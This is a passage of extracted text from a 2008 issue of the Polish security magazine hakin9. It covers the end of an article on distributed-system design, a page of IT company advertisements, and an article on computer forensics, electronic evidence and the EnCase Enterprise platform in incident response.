powinno  być  możliwe  nawet  wte-
dy, gdy nie jest przechowywany ak-
tualnie w pamięci. Oczekuje się, że 
systemy  rozproszone  będą  ukry-
wać przed użytkownikiem szczegó-
ły  swojej  wewnętrznej  organizacji, 
jednakże  osiągnięcie  wysokiego
poziomu  przezroczystości  wią-
że  się  z  dużymi  kosztami,  głów-
nie związanymi z ogólną wydajno-
ścią systemu. W praktyce dąży się 
do  osiągnięcia  racjonalnego  kom-
promisu  pomiędzy  obserwowa-
ną  przez  użytkownika  złożonością 
systemu, a efektywnością jego pra-

cy. Systemy rozproszone, aby mo-
gły  być  rozbudowywane,  muszą 
być  otwarte.  Oznacza  to  koniecz-
ność  standaryzacji  stosowanych 
protokołów i interfejsów komunika-
cyjnych. Definicje interfejsów obej-
mują najczęściej opis składni usług 
(nazwy  funkcji,  typy  parametrów 
i zwracanych wyników). Semantyka 
usług  opisywana  jest  najczęściej 
w  sposób  nieformalny,  przy  wyko-
rzystaniu języka naturalnego. 

Specyfikacja  interfejsu,  aby  mo-

gła być implementowana niezależnie 
przez  wielu  dostawców  oprogramo-
wania, musi być zupełna (kompletna) 
i  neutralna.  Kompletność  oznacza, 
że opis jest wystarczający do stwo-
rzenia  implementacji.  Neutralność 
oznacza, że specyfikacja nie narzu-
ca  żadnych  szczegółów  dotyczą-
cych implementacji. Spełnienie tych 
warunków  jest  konieczne  dla  osią-
gnięcia zdolności do współdziałania 
(ang. interoperability), która oznacza 
możliwość współpracy ze sobą kom-
ponentów programowych pochodzą-
cych od różnych dostawców, o ile im-
plementują one odpowiednie interfej-
sy programowe.

Przenośność  (ang.  portabili-

ty) oznacza możliwość uruchomie-
nia  aplikacji  stworzonej  dla  jedne-
go systemu w innym systemie bez 
konieczności wprowadzania jakich-
kolwiek modyfikacji. Dobrze zapro-
jektowany system otwarty powinien
być elastyczny, co w praktyce ozna-
cza łatwość budowy i przebudowy 
systemu  składającego  się  z  kom-
ponentów  pochodzących  od  róż-
nych  dostawców.  Osiągnięcie  wy-
sokiej  elastyczności  jest  możliwe 
poprzez  podział  systemu  rozpro-
szonego na wysoce autonomiczne 
komponenty  komunikujące  się  po-
przez precyzyjnie opisane interfej-
sy. Daje to możliwość wymiany po-
szczególnych  komponentów  bez 
konieczności  wyłączania  całego 
systemu. Otwartość i elastyczność 
systemów rozproszonych może być 
wspierana  poprzez  oddzielenie 
polityki  od  mechanizmu.  Polityka 
określa w sposób deklaratywny ce-
le,  które  chce  osiągnąć  użytkow-
nik,  a  mechanizm  dostarcza  na-

rzędzi  do  osiągania  tych  celów. 
Przykładem  może  być  stosowanie 
pamięci  podręcznych  w  przeglą-
darkach internetowych. Jest to me-
chanizm  zwiększający  dostępność 
zasobów  w  usłudze  WWW.  Waż-
ne  jednakże  są  tu  parametry  wej-
ściowe sterujące pracą tej pamięci 
(czas  przechowywania  dokumen-
tów,  strategia  aktualizacji,  wybór 
dokumentów).  Parametry  te  okre-
ślają  właśnie  politykę,  jaką  chce 
narzucić  użytkownik  i  która  może 
być potencjalnie realizowana z wy-
korzystaniem innego mechanizmu.

Rozwój  sieci  komputerowych 

i  liczba  komputerów  przyłączanych 
do  Internetu  wzrastają  tak  szybko, 
że  jednym  z  najważniejszych  ce-
lów  projektowych  staje  się  obec-
nie  zapewnienie  skalowalności. 
Skalowalność  może  być  rozważa-
na  w  trzech  różnych  wymiarach. 
Po  pierwsze  –  skalowalność  pod 
względem  rozmiaru,  oznaczająca 
możliwość  dodawania  do  systemu 
nowych  użytkowników  i  zasobów. 
Po  drugie  –  skalowalność  geogra-
ficzna,  umożliwiająca  rozrzucenie 
poszczególnych  użytkowników  po 
całym świecie. Po trzecie wreszcie 
–  skalowalność  pod  względem  ad-
ministracyjnym  oznacza,  że  zarzą-
dzanie  systemem  pozostaje  równie 
proste  pomimo  zwiększania  jego 
rozmiaru i dystrybucji odpowiedzial-
ności na wiele jednostek administra-
cyjnych.  Skalowalność  pod  wzglę-
dem  rozmiaru  może  być  ograni-
czona  poprzez  stosowanie  rozwią-
zań  scentralizowanych.  Każdy  ser-
wer,  który  jest  jedynym  pełniącym 
określoną funkcję, staje się wąskim 
gardłem w warunkach wzrastającej 
liczby  żądań.  Stosowanie  przetwa-
rzania  scentralizowanego  staje  się 
niekiedy jednak nieuniknione. Przy-
kładem  może  być  przechowywanie 
poufnych  danych,  których  powiele-
nie  powodowałoby  zwiększenie  ry-
zyka  ich  ujawnienia  (centralizacja 
danych).  Z  centralizacją  usług  ma-
my  do  czynienia  wtedy,  gdy  prze-
twarzanie  zleceń  jest  realizowane 
przez  pojedynczy  serwer.  Dobrym 
przykładem usługi, która jest dosko-
nale zdecentralizowana, jest usługa 

background image

hakin9 Nr 3/2008

51

DNS (ang. Domain Name Service), zajmująca się 
m. in. odwzorowaniami nazw domenowych na ad-
resy IP. W usłudze tej grupa rozproszonych serwe-
rów  realizuje  wspólnie  wspomnianą  funkcję.  Roz-
proszenie przetwarzania jest tu koniecznością, po-
nieważ  liczba  żądań  przychodzących  do  systemu 
jest tak duża, że żaden serwer nie byłby w stanie 
jej obsłużyć. 

Wysoką skalowalność systemów można osią-

gnąć poprzez zastosowanie algorytmów zdecen-
tralizowanych. Charakteryzują się one następują-
cymi własnościami: 

•   żadna  z  maszyn  nie  posiada  pełnej  informacji 

o stanie systemu,

•   decyzje podejmowane są tylko na podstawie in-

formacji lokalnych,

•   uszkodzenie pojedynczych maszyn nie powo-

duje blokady całego systemu,

•   nie  ma  niejawnych  założeń  dotyczących  glo-

balnego zegara.

Ostatnie  założenie  jest  konsekwencją  ogólnie 
przyjętej  charakterystyki  systemów  rozproszo-
nych,  w  których  komunikacja  ma  charakter  asyn-
chroniczny.  Oznacza  to,  że  komunikaty  docierają 
do odbiorcy w czasie skończonym, ale bliżej nie-
określonym.  Konsekwencją  tego  założenia  jest 
niemożliwość  dokładnego  zsynchronizowania  lo-
kalnych  zegarów  komputerów  pracujących  w  sie-
ci (przede wszystkim w sieci rozległej). 

Skalowalność  geograficzna  jest  ograniczana 

głównie przez dostępne mechanizmy komunikacyj-
ne, które wprowadzają znaczne opóźnienia i charak-
teryzują  się  wysoką  zawodnością.  Opóźnienia  po-
wodują, że akceptowalne w sieciach lokalnych prze-
twarzanie synchroniczne staje się nieakceptowalne 
w  sieciach  rozległych,  gdyż  wprowadza  zbyt  duże 
przestoje. 

Ponieważ skalowalność jest tak wysoce pożąda-

ną cechą systemów rozproszonych, bardzo ważnym 
staje się pytanie o ogólne metody zapewniania wy-
sokiej skalowalności. Generalnie istnieją trzy meto-
dy zwiększania skalowalności: ukrywanie opóźnień 
komunikacyjnych, rozpraszanie i zwielokrotnianie.

Ukrywanie  opóźnień  komunikacyjnych  oznacza 

w praktyce stosowanie na szeroką skalę komunika-
cji asynchronicznej, w której zlecający operację nie 
czeka na jej wynik, a wykonuje dalsze przetwarzanie 
niewymagające wyniku ostatniej operacji. Efekt taki 
można uzyskać stosując przetwarzanie współbież-
ne po stronie klienta, w którym oczekiwanie na wy-
nik  będzie  blokowało  oddzielny  wątek  przetwarza-
nia.  Niestety,  komunikację  asynchroniczną  można 
stosować  jedynie  w  systemach  nieinteraktywnych. 
W systemach interaktywnych można próbować re-
dukować  ilość  przesyłanych  informacji  poprzez 

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

52

przeniesienie  części  przetwarzania 
do klienta, np. w celu lepszej wery-
fikacji  danych  wejściowych.  Można 
w  tym  celu  wykorzystać  np.  dyna-
miczne  przesyłanie  kodu  weryfiku-
jącego z serwera (aplety Javy).

Rozpraszanie  (ang.  distribution

polega  na  podziale  zadań  kompo-
nentu  programowego  na  wiele  jed-
nostek  i  rozproszenie  tych  jedno-
stek w sieci. Przykładem może być 
system  DNS,  w  którym  nie  wystę-
puje  pojedynczy  serwer  przecho-
wujący  całość  informacji  o  konfi-
guracji  odwzorowań  nazw  na  ad-
resy.  Informacja  ta  jest  rozproszo-
na  pomiędzy  wszystkie  serwery 
nazw, które odpowiadają za obsłu-
gę  pojedynczych  domen  nazewni-
czych.  Translację  wybranej  nazwy 
dokonuje serwer nazw dla domeny,
z  której  pochodzi  testowana  na-
zwa. 

Zwielokrotnianie  (ang.  repli-

cation)  daje  możliwość  nie  tylko 
zwiększenia dostępności zasobów, 
ale  także  równoważenia  obciąże-
nia.  W  efekcie  systemy  stosujące 
replikację  (potencjalnie)  charakte-
ryzują się większą wydajnością. Co 
więcej, zwielokrotniony serwer mo-
że  być  zastąpiony  innym  w  przy-
padku  awarii.  Jeżeli  zwielokrotnio-
ne  serwery  są  dodatkowo  rozpro-
szone, to średnia odległość do naj-
bliższego serwera ulega skróceniu, 
co  skutkuje  dodatkowo  możliwo-
ścią  maskowania  opóźnień  komu-
nikacyjnych. 

Pewną  formę  zwielokrotnia-

nia  stanowi  stosowanie  pamię-
ci  podręcznych  (ang.  cache),  któ-
rych  zawartość  jest  również  ko-
pią  oryginalnych  danych.  O  ile 
jednak  przy  zwielokrotnianiu  de-
cyzję  o  utworzeniu  kopii  podej-
muje  właściciel  zasobu,  o  tyle 
w przypadku przechowywania pod-
ręcznego  decyzję  taką  podejmu-
je  sam  klient.  Tworzenie  kopii  za-
sobów  powoduje  jednak  powsta-
wanie  problemu  spójności  danych, 
jeżeli  jedna  z  kopii  zostanie  zmo-
dyfikowana.  Częste  modyfikacje 
i  ich  propagacje  do  pozostałych 
serwerów 

mogą 

spowodować 

znaczne  ograniczenie  skalowalno-

ści systemu stosującego replikację. 
Z drugiej strony, użytkownicy mogą 
odwoływać się do danych, które nie 
są już aktualne, co nie zawsze bę-
dzie akceptowalne (np. w przypad-
ku  operacji  bankowych).  Użytkow-
nicy mogą formułować swoje ocze-
kiwania co do spójności zwielokrot-
nianych  danych  poprzez  tzw.  mo-
dele  spójności  opisujące  gwaran-
cje,  których  udziela  system.  Doty-
czą one propagacji zmian do pozo-
stałych  kopii  oraz  uporządkowania 
operacji  realizowanych  współbież-
nie  na  wielu  serwerach.  Globalne 
porządkowanie  operacji  może  jed-
nak  wymagać  stosowania  scentra-
lizowanego przetwarzania, co oczy-
wiście  jest  rozwiązaniem  nieska-
lowalnym.  Nie  zawsze  więc  zwie-
lokrotnianie  jest  właściwą  metodą 
na  zwiększanie  skalowalności  sys-
temu.

Systemy  rozproszone  budowa-

ne  są  z  pojedynczych  komputerów 
połączonych  siecią.  Z  punktu  wi-
dzenia  programisty  nie  jest  obojęt-
ne, jaka jest budowa pojedynczych 
maszyn  w  systemie  rozproszonym, 
gdyż  rzutuje  to  na  sposób  progra-
mowania  takich  systemów.  Gene-
ralnie  można  wyróżnić  dwie  klasy 
systemów  komputerowych:  wielo-
procesory i multikomputery. Zasad-
nicza różnica polega na innej orga-
nizacji dostępu do pamięci. W wie-
loprocesorach  wszystkie  procesory 
mają  dostęp  do  jednej,  wspólnej 
przestrzeni adresowej. W multikom-
puterach każda jednostka ma swoją 
lokalną pamięć. 

Drugim  ważnym  parametrem 

wyznaczającym  charakter  syste-
mu  rozproszonego  jest  architek-
tura  połączeń  pomiędzy  poszcze-
gólnymi  węzłami.  Połączenia  mo-
gą być realizowane poprzez central-
ną  szynę  lub  w  technologii  przełą-
czanej. Połączenia szynowe w wie-
loprocesorach  ułatwiają  zarządza-
nie spójnością danych, ale z drugiej 

strony bardzo ograniczają skalowal-
ność;  szyna  przy  niedużej  liczbie 
procesorów  staje  się  wąskim  gar-
dłem.  Często  stosowanym  rozwią-
zaniem w takim przypadku jest za-
stosowanie  pamięci  podręcznych. 
Algorytmy  wymiany  zawartości  pa-
mięci podręcznej pozwalają na uzy-
skiwanie wysokich współczynników 
trafień  (ang.  hit  rate),  co  pozwala 
na  znaczne  ograniczenie  częstotli-
wości  odwołań  do  głównej  szyny. 
Z  drugiej  jednak  strony  stosowanie 
pamięci  podręcznej  powoduje  po-
wstawanie problemu spójności kopii 
tych samych danych przechowywa-
nych na różnych węzłach. 

Podsumowanie

Wieloprocesory  budowane  są  po-
przez  połączenie  wielu  autonomicz-
nych komputerów siecią. Jeżeli wyko-
rzystywane są komputery o tej samej 
architekturze,  to  mamy  do  czynienia 
z siecią systemową. Połączenia mo-
gą być również realizowane w archi-
tekturze  szynowej  lub  przełączanej. 
W przypadku architektury przełącza-
nej stosuje się wyznaczanie tras (tra-
sowanie) komunikatów przez sieć po-
łączeń. Dwie najpopularniejsze topo-
logie połączeń pomiędzy węzłami to 
siatki  (kraty)  i  hiperkostki.  Kraty,  po-
nieważ są dwuwymiarowe, są łatwiej-
sze do implementacji na płaskiej płyt-
ce obwodu drukowanego. Hiperkost-
ka  jest  sześcianem  n-wymiarowym. 
Praktyczne realizacje koncepcji mul-
tikomputera korzystają bądź ze spe-
cjalizowanej  (często  opatentowanej) 
sieci  połączeń  bądź  ze  standardo-
wych rozwiązań stosowanych w sie-
ciach  komputerowych  (np.  technolo-
gia  Ethernet).  Pierwsze  podejście, 
oczywiście dużo droższe, stosowa-
ne jest w komputerach o masywnej 
równoległości.  Multikomputery  ba-
zujące na standardowych technolo-
giach zwane są z kolei gronami, gru-
pami stacji roboczych lub po prostu 
klastrami. l

O autorze

Student informatyki który interesuje się logiką rozmytą. 
Kontakt z autorem: spinacz24@gmailcom

background image

CCNS

Działalność  firmy  skoncentrowana  jest 
wokół hasła zapewnienia pełnego bez-
pieczeństwa  funkcjonowania  Klienta 
w  realiach  współczesnej  gospodarki. 
Jako Expert Partner firmy WatchGuard 
Inc.  oferujemy  kompleksowe  rozwiąza-
nia  bezpieczeństwa  sieci  i  systemów 
informatycznych  obejmujące  nowo-
czesne  urządzenia  typu  Unified  Thre-
at  Management,  niezawodny  serwis 
i szeroki wachlarz szkoleń.  

Prenumerata Pro

Media

 

Systems

Firma Media Systems oferuje Państwu 
profesjonalny  system  CashBill.pl, 
umożliwiający  zarządzanie  usługami 
SMS  Premium  Rate  w  sektorze  B2B 
i  B2C.  Oferujemy  również  szeroki 
wachlarz  usług  mikropłatniczych, 
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy 
budowie aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie.  W  ofercie  programy  autorstwa 
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym 
klientem lub dostawcą. 

Zepter IT

Zepter  IT  to  dynamicznie  rozwijają-
ca  się  firma,  specjalizująca  się  w  re-
alizacji  projektów  informatycznych. 
Oferujemy  rozwiązania  dla  biznesu
i  zarządzania  takie  jak  systemy  ERP 
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów. 
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce,  tworzenie  aplikacji  internetowych 
oraz systemów zarządzania treścią. 

Petrosoft

Partner  Microsoft  Bussiness  Solutions 
Dynamics  GP.  Budowa  sklepów  inter-
netowych, serwisów WWW, prezentacji 
multimedialnych.  Budowa  sieci  LAN, 
WAN,  telekomunikacyjnych.  Telefonia 
stacjonarna,  VoiceIP.  Usługi  outsor-
cingowe  dla  dużych  firm  z  zakresu 
informatyki  i  telekomunikacji.  Opro-
gramowanie  na  zamówienia.  Dostawa 
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas: 

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym  przedmiotem  działalności  fir-
my  jest  produkcja,  wdrażanie  i  sprze-
daż  systemów  służących  do  ochrony 
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
•  podpis elektroniczny i szyfrowanie 

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl  działa  na  rynku  usług  hostin-
gowych  od  2000  roku.  Do  naszych 
zadowolonych  Klientów  z  dumą 
możemy zaliczyć wiele przedsiębiorstw 
sektora  MSP,  instytucji  oraz  osób  pry-
watnych.  W  ofercie  Kei.pl  znajdują  się 
pakiety  hostingowe,  a  także  usługi  dla 
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.

http://www.kei.pl

background image

www.hakin9.org

hakin9 Nr 3/2008

54

Obrona

S

ytuacja  jeszcze  bardziej  się  kompli-
kuje, gdy niezbędnym elementem po-
stępowania jest zachowanie go w ta-

jemnicy, a zgromadzony materiał dowodowy 
ma  być  przekonujący.  Wprowadzenie  do  or-
ganizacji  polityki  bezpieczeństwa  w  zgodzie 
z PN-ISO/IEC 27001:2007 określa, jakie pro-
cedury  i  działania  powinny  być  wdrożone  w 
zakresie zapewnienia, że zdarzenia związa-
ne  z  bezpieczeństwem  informacji  oraz  sła-
bościami  systemów  podlegają  zarządzaniu 
(patrz Ramka Zarządzanie incydentami). 

Norma  wymaga,  aby  proces  zarządza-

nia incydentami był reaktywny. Aby reagować 
sprawnie i skutecznie, narzuca formalne meto-
dy pracy, które mogą i powinny być wsparte na-
rzędziami informatycznymi.

W  przypadku  wystąpienia  incydentu  np. 

gromadzenia przez pracownika danych oso-
bowych  lub  odnalezienia  szkodliwej  aplika-
cji, opanowanie zdarzenia powinno zmierzać 
w  kierunku  powstrzymania  działań,  pozna-
nia ich podłoża i wyeliminowania możliwości 
ich zajścia w przyszłości. W tradycyjnym po-
dejściu, podejrzany komputer na ogół zosta-
je wyizolowany i poddany analizie. Metoda ta 
rzadko zakłada jednak, że zgromadzone z in-

cydentu dane powinny być zgodne z zasada-
mi materiału dowodowego. 

Odrobina prawa

Według  najprostszej  definicji  dowód  elektro-
niczny  jest  informacją  w  formie  elektronicz-
nej, mogącą mieć znaczenie dowodowe. Istnie-
je on sam w sobie w postaci informacji zapisa-
nej na nośniku (jest jego właściwością). Sam 
nośnik nie jest dowodem. Cechy dowodu elek-
tronicznego:

•   łatwość modyfikacji,
•   wymagają szczególnych środków technicz-

nych do ich zabezpieczania,

Informatyka śledcza 

jako element reakcji na 

incydenty

Przemysław Krejza

stopień trudności

Zarządzanie incydentem (incident response – IR) jest jedną 

z trudniejszych problematyk związanych z bezpieczeństwem 

informacji, szczególnie w dużych organizacjach. Zapanowanie 

nad problemem jest często skomplikowane, czasochłonne i tym 

trudniejsze, im większe są rozmiary incydentu. Występują również 

problemy z określeniem jego skali. 

Z artykułu dowiesz się

•   co to jest EnCase Enterprise, 
•   co to jest informatyka śledcza,
•   co to jest dowód elektroniczny.

Co powinieneś wiedzieć

•   powinieneś znać podstawy zasad bezpieczeń-

stwa informacji.

background image

Informatyka śledcza

hakin9 Nr 3/2008

www.hakin9.org

55

•   poszlakowy charakter,
•   równość kopii i oryginału.

Na  gruncie  prawa  polskiego  dowód 
elektroniczny  nie  posiada  szczegól-
nego  wyróżnienia,  jednak  –  wbrew 
powszechnym poglądom – zarówno 
w prawie karnym, jak i cywilnym oraz 
administracyjnym  jest  pełnoprawny 
i  jest  z  powodzeniem  stosowany  w 
postępowaniu. Dowód elektroniczny 
a prawo polskie:

•   w  postępowaniu  karnym  trak-

towany  jest  tak,  jak  każdy  inny 
dowód  rzeczowy  (rozdział  25 
KPK),

•   w  prawie  cywilnym  obowiązu-

je  swobodna  ocena  dowodów, 
ale może być dowodem z doku-
mentu, opinii biegłego lub innym 
środkiem dowodowym,

•   w  postępowaniu  administracyj-

nym jest dopuszczony przez art. 
75 K.P.A. 

Każde  zdarzenie  bowiem,  mimo 
początkowego braku znamion, mo-
że znaleźć swój finał w sądzie. Po-
nieważ  w  większości  przypadków 
incydent związany jest z informacją 
cyfrową, musi ona posiadać szcze-
gólne cechy, aby miała wartość do-
wodową.  Powszechne  przekona-
nie, że w Polsce nie ma to znacze-
nia,  jest  błędne  (patrz  Ramka  Za-
rządzanie  incydentami
),  gdyż  rów-
nież  u  nas  dowód  elektroniczny 
pełnoprawny  jest  respektowany 
przez Sąd.

Właściwe praktyki IR muszą za-

kładać  stosowanie  narzędzi  odpo-
wiednich z tego punktu widzenia. W 
nowoczesnych  organizacjach  miej-
sce  tradycyjnego  podejścia  zajmuje 
Informatyka Śledcza, oferująca pro-
cedury i narzędzia spełniające rów-

nież  założenia  dowodowe.  Podsta-
wowym  elementem  jest  tu  powoła-
nie  odpowiednio  umocowanej  gru-
py  CSIRT  (Computer  Security  Inci-
dent  Response  Team
)  i  wyposaże-
nie jej w odpowiednie narzędzia – od 
pojedynczych  stanowisk  analitycz-
nych aż po rozległe platformy, obej-
mujące swoim zasięgiem dowolnych 
rozmiarów  środowisko  komputero-
we, umożliwiające prowadzenie ana-
liz w obrębie enterprise oraz tworze-
nie dokumentacji z wydzieleniem au-
tentycznego materiału dowodowego, 
w  celu  wypełnienia  zaleceń  A.13.2 
Normy  (patrz  Ramka  Zarządzanie 
incydentami
). 

Zasady związane z 

dowodem elektronicznym

Autentyfikacja.  Aby  dowód  elek-
troniczny został dopuszczony, mu-
si być – podobnie, jak inne dowo-
dy  rzeczowe  –  autentyczny,  wier-

ny, kompletny i przystępny. Auten-
tyczność  i  wierność  oznacza  ko-
nieczność  obrony  dowodu  przed 
zarzutem  manipulacji,  a  więc  wy-
kazania, że pochodzi z określone-
go  miejsca  i  czasu.  Kompletność 
oznacza,  że  dopiero  suma  ele-
mentów  (logi,  pliki,  polityki)  może 
być dowodem. Przystępność to ko-
nieczność przedstawienia dowodu 
w formie czytelnej dla odbiorcy.

Kluczowym  elementem  auten-

tyfikacji  jest  właściwe  zabezpiecze-
nie,  które  wiąże  się  z  powstaniem 
tzw.  łańcucha  dowodowego,  będą-
cego nieodłącznym elementem każ-
dego  kroku  śledztwa.  Najważniej-
szym  elementem  zabezpieczania 
jest  uwierzytelnienie  materiału,  naj-
lepiej z wykorzystaniem sum kontro-
lnych odnotowanych w protokole za-
bezpieczania.

Łańcuch  dowodowy  determinu-

je  wartość  dowodu  i  bezpośrednio 
wpływa  na  jego  siłę  w  prezentacji. 
Łańcuch  dowodowy,  który  można 
podważyć,  pozwoli  na  obalenie  do-
wodu. Najprościej rzecz ujmując, po-
winien  on  –  poprzez  dokumentację 
materialną  –  gwarantować  przejrzy-
stość zabezpieczenia, badania i pre-
zentacji dowodu tak, aby zawsze ist-
niała pewność, iż dowód, ze względu 
na swoje cechy, nie został w jakikol-

Rysunek 1. 

Analiza incydentu – nieautoryzowane przechowywanie 

dokumentów przez pracownika

Zarządzanie incydentami WG PN-ISO/IEC 27001:

2007, załącznik normatywny A 

•   Zdarzenia (...) powinny być zgłaszane (...) tak szybko jak to możliwe,
•   W organizacji powinny istnieć mechanizmy umożliwiające liczenie i monitorowanie 

rodzajów, rozmiarów (...) incydentów (...),

•   Jeśli działania podejmowane (...) obejmują kroki prawne (...) powinno się groma-

dzić  (...) materiał dowodowy zgodnie z zasadami materiału dowodowego (...).

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

56

wiek sposób zmieniony. Ważne jest 
przy tym, aby łańcuch był maksymal-
nie krótki, tj. aby ilość osób zaanga-
żowanych  w  postępowanie  była  jak 
najmniejsza,  a  każda  zmiana  oso-
by  i  ewentualnie  wykonywana  ope-
racja była odnotowana w odpowied-
nim protokole. Łańcuch nie może po-
siadać żadnych luk. Luką może być 
np.  przesłanie  nośnika  z  dowodem 
pocztą  lub  oprogramowanie  użyte 
do  zabezpieczania  nieposiadające 
cech  wiarygodności,  a  nawet  użyte 
bez odpowiedniej licencji.

EnCase Enterprise (EE)

Kluczem  do  sukcesu  dedykowanej 
platformy  jest  architektura  systemu 
opierająca  się  zasadniczo  o  działa-
nie w układzie klient/serwer w opar-
ciu o trzy elementy:

•   SERVLET  –  pasywna  usługa 

na  prawach  konta  systemowe-
go,  pracująca  w  trybie  jądra, 
będąca  swego  rodzaju  wtycz-
 do zdalnego urządzenia. Se-
rvlet przewidziany jest dla więk-
szości systemów operacyjnych. 

•   SAFE – jest kluczowym elemen-

tem  bezpieczeństwa  platformy. 
Odpowiada  za  przydział  praw  w 
ramach  CSIRT,  klucze  użytkow-
ników, szyfrowanie transmisji itd.

•   EXAMINER – środowisko śled-

cze,  oferujące  narzędzia  anali-
tyczne,  środowisko  skryptowe 
oraz  zdalny  dostęp  do  wszyst-
kich  stacji,  na  których  funkcjo-
nuje servlet.

Pracując  na  niskim  poziomie,  se-
rvlet  oferuje  absolutny  dostęp  do 
badanego  systemu,  dając  możli-
wość  zdalnej  analizy  za  pomocą 
examinera wszystkich jego elemen-
tów, począwszy od fizycznej zawar-
tości nośników, poprzez zdalne od-
zyskiwanie  danych,  aż  po  wszyst-
kie  zasoby  systemu  –  w  tym  rów-
nież używane w trybie wyłączności 
lub ukryte. 

Analiza incydentów

Zastosowanie  platformy  dalekie 
jest  od  tradycyjnego  podejścia. 
Analiza  incydentów  w  odpowiedzi 
na  różnego  typu  alerty  (np.  nie-
potwierdzone  plotki),  jak  w  przy-

kładzie  powyżej,  wymaga  jedynie 
znajomości  adresu  IP  podejrza-
nego.  W  zamieszczonym  poniżej 
zrzucie ekranu przedstawiono do-
wód  na  posiadanie  przez  pracow-
nika danych kredytobiorców.

Zdalna  analiza  spełnia  przy  tym 

wymagania informatyki śledczej, za-
braniające  jakiejkolwiek  ingerencji 
w  materiał  dowodowy.  Odnaleziony 
materiał może zostać zdalnie zabez-
pieczony i autentyfikowany za pomo-
cą sumy kontrolnej. Tworzący się au-
tomatycznie  raport  może  stanowić 
protokół  zabezpieczania.  Zgodnie  z 
wymogami  Normy,  wystąpienie  ta-
kiego  incydentu  (A.13.2.2)  powinno 
pociągnąć za sobą badanie rozmia-
rów  problemu.  Zwyczajowo,  jedyną 
możliwością jest rozległy audyt sys-
temu  i  wprowadzenie  dodatkowych 
zaleceń. W przypadku EE wystarczy 
stworzenie  odpowiedniej  kweren-
dy, zadanie zapytania do całej sieci 
i otrzymanie raportu skali.

Problem  danych  osobowych  nie 

jest  jednak  największym,  który  mo-
że wystąpić w rozległej sieci. Znacz-
nie  bardziej  skomplikowane  i  czaso-
chłonne są analizy szkodliwych apli-
kacji,  zwłaszcza  tych  ukrywających 
się, typu HOOK lub DKOM. Wykrycie 
incydentu,  wobec  bezbronności  pro-
gramów  antywirusowych,  jest  trud-
ne i na ogół przypadkowe. Wymaga-
na jest izolacja zainfekowanego śro-
dowiska i żmudne usuwanie szkodli-
wych  kodów.  Poniżej  przedstawiono 
analizę  procesów  (snapshot)  w  EE, 
wśród  których  znajduje  się  rootkit 
Hacker Defender
. Ze względu na tryb 
pracy  servletu  ukryte  procesy  (rów-
nież injected drivers, DLLe oraz ukry-
te połączenia IP) są widoczne z po-
ziomu examinera. 

Ta  funkcjonalność  pozwala  na 

analizę  zasobów  dynamicznych,  po-

W Sieci

•   http://www.mediarecovery.pl,
•   http://www.forensictools.pl,
•   http://www.guidancesoftware.com,
•   http://pl.wikipedia.org/wiki/Informatyka_%C5%9Bledcza.

Rysunek 2. 

Analiza skali incydentu

background image

Informatyka śledcza

hakin9 Nr 3/2008

www.hakin9.org

57

równywanie  ich  ze  wzorcem  (opisa-
nym za pomocą hashy) i wykrywanie 
zmian w obrębie całej sieci. Mając ta-
kie możliwości łatwiej zidentyfikować 
nieoczekiwane procesy. Tak jak w po-
przednim przykładzie, łatwa jest rów-
nież ocena ich skali, a nawet remedia-
cja wybranych elementów w obrębie 
sieci  (niszczenie  ujawnionych  doku-
mentów, zabijanie procesów), w tym 
również automatycznie w ramach de-
finicji odpowiedzi na incydenty.

Określone w Normie (A10.4) obo-

wiązki dotyczące złośliwego oprogra-
mowania w przypadku EE oznaczają 

możliwość  stworzenia  zasad  syste-
mów (profili), dzięki którym inspekcja 
może być znacznie łatwiejsza i szyb-
ka nawet w skali korporacji. Sprzęże-
nie platformy z BIT9 (międzynarodo-
wa baza hashy) daje możliwość prze-
szukiwania uruchomionych procesów 
w  obrębie  zasobów  i  odnajdywania 
tych niepożądanych.

Podsumowanie

Każda organizacja przygotowana na 
zagrożenia  musi  posiadać  w  swoim 
systemie  bezpieczeństwa  nie  tylko 
rozwiązania  prewencyjne,  ale  rów-

nież pozwalające na przejęcie i opa-
nowanie incydentu po jego wystąpie-
niu, także w aspekcie zgromadzenia 
dowodów  o  wartości  odpowiedniej 
dla postępowań przed sądem. Infor-
matyka  Śledcza  pozwala  wypełnić 
tę  lukę  i  przygotować  odpowiednie 
narzędzia  oraz  procedury  również 
w  mniejszej  niż  EnCase  Enterprise 
skali.  Przedstawiona  skrótowo  plat-
forma śledcza jest jednak rozwiąza-
niem  kompleksowym,  przeznaczo-
nym  dla  dużych  firm  i  instytucji,  w 
których istnieją lub są wdrażane za-
sady bezpieczeństwa oparte na po-
wszechnych  wzorcach  (SOX,  ISO). 
Jego konstrukcja daje nowe spojrze-
nie  na  bezpieczeństwo  informacji, 
umożliwia  badania  najbardziej  zło-
żonych  incydentów,  a  także  wypeł-
nia  wiele  normatyw  przytoczonych 
norm  (prewencja,  inspekcja,  audyt). 
Przyszłością  bezpieczeństwa  infor-
macji jest integracja z tego typu sys-
temami. l

O autorze

Przemysław Knejza. Lat 33, EnCE, Dyrektor ds. badań i rozwoju w Mediareco-
very, największej polskiej firmie świadczącej profesjonalne usługi informatyki 
śledczej (computer forensics). Prawnik, informatyk. Wcześniej 8 lat na stano-
wisku zarządzania działem odzyskiwania danych w firmie Ontrack. Autor publi-
kacji na tematy związane z odzyskiwaniem danych i informatyką śledczą. Ma 
córeczkę. W wolnych chwilach słucha Floydów.
Kontakt z autorem: biuro@mediarecovery.pl

Rysunek 3. 

Analiza incydentu – rootkit hacker defender (HXDEF100)

background image

www.hakin9.org

hakin9 Nr 3/2008

58

Obrona

N

a początek trochę teorii, czyli matema-
